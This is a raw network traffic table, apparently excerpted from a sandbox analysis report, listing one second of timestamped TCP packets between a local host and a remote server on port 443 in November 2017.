Nov 27, 2017 12:34:31.481637955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.481656075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.482604980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.482615948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.482685089 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.482705116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.487549067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.487565041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.487632036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.487651110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.488159895 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.490134001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.490139961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.490144014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.490299940 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.491686106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.492691040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.492705107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.493117094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.493135929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.494534969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.494546890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.494689941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.494704962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.495807886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.495822906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.495939970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.495951891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.505017042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.505151987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.505172968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.505688906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.505711079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.506000042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.506026983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.507886887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.507910967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.508059978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.508080959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.512314081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.512336969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.512594938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.512618065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.547684908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.547709942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.547847986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.547868967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.551062107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.551090002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.551184893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.551206112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.568193913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.568208933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.568303108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.568321943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.578219891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.578576088 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.578596115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.585136890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.585151911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.585438967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.585458040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.586831093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.586843967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.586949110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.586966038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.593496084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.593513966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.593873978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.593894958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.601118088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.601134062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.601219893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.601241112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603020906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603032112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603100061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603108883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603111982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.603635073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.603651047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.604089022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.604110956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.604347944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.604366064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.615488052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.615504980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.615510941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.615854025 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.615873098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.628998995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.629017115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.629113913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.629133940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641415119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641433954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641505003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641516924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641526937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641539097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.641561031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.641943932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.645539999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.662872076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.662898064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.663041115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.663069963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.672333002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.672355890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.672496080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.672523975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.679339886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.679358959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.679528952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.679554939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.692533016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.692553997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.692837000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.692939997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.692965031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.699559927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.699577093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.699879885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.699903965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.710006952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.710026026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.710136890 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.710160017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.759432077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.759454966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.759671926 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.759699106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.762927055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.762942076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.763098955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.763122082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.775219917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.775238037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.775244951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.775358915 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.775399923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.794009924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.794042110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.794181108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.794202089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.812653065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.812693119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.812884092 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.812911034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.822118998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.822153091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.822247982 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.822268963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.828560114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.828589916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.828720093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.828753948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.840770006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.840814114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.840992928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.841017962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.842526913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.842565060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.842637062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.842653990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.842678070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.842696905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.843043089 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.843061924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.860306978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.860340118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.860565901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.860594988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.863879919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.863907099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.863996029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.864016056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867119074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867147923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867296934 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.867316008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867440939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867475033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.867829084 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.867846012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.877768993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.877789021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.877892971 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.877914906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.879643917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.879669905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.879759073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.879790068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.891526937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.891551018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.891726017 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.891765118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.898582935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.898612022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.898705959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.898740053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.908351898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.908565998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.908617973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.911266088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.911293030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.911724091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.911750078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.918262005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.918288946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.918463945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.918492079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.932873011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.932919025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.935810089 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.935842037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.937757969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.937773943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.938178062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.939814091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.939840078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.946892977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.946918964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.947753906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.947777033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.953552008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.953577995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.953687906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.953705072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.962102890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.962130070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.962276936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.962300062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.970591068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.970616102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.970783949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.970808983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.982198000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.982223988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.982239962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.982433081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.982469082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.028146982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.028179884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.028377056 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.028417110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.043282032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.043303967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.043534040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.043576002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.047944069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.047981977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.048188925 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.048229933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.049586058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.049597979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.049807072 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.049855947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.050266027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.050278902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.050405979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.050434113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.053957939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.053977013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.054640055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.054673910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.056673050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.056802988 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.056828976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.058022976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.058396101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.058419943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.058445930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.058470011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.058887005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.058916092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.082035065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.082060099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.082297087 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.082325935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.099592924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.099647045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.099828005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.099853039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.100404024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.100429058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.100529909 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.100547075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.107445955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.107475996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.107743979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.107774019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.131583929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.131648064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.131757975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.131784916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.139724016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.139759064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.139851093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.139873028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.142890930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.142909050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.143003941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.143023014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.148701906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.148772955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.148792028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161142111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161155939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161274910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.161295891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161633968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161650896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.161741972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.161757946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.172823906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.172847986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.172924042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.172954082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.197207928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.197228909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.197356939 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.197376013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.219198942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.219213963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.219326973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.219346046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.226236105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.226249933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.226330042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.226346970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.237029076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.237041950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.237240076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.237282038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.243987083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.244013071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.244286060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.244298935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.277872086 CET	443	49165	89.45.235.21	192.168.1.91
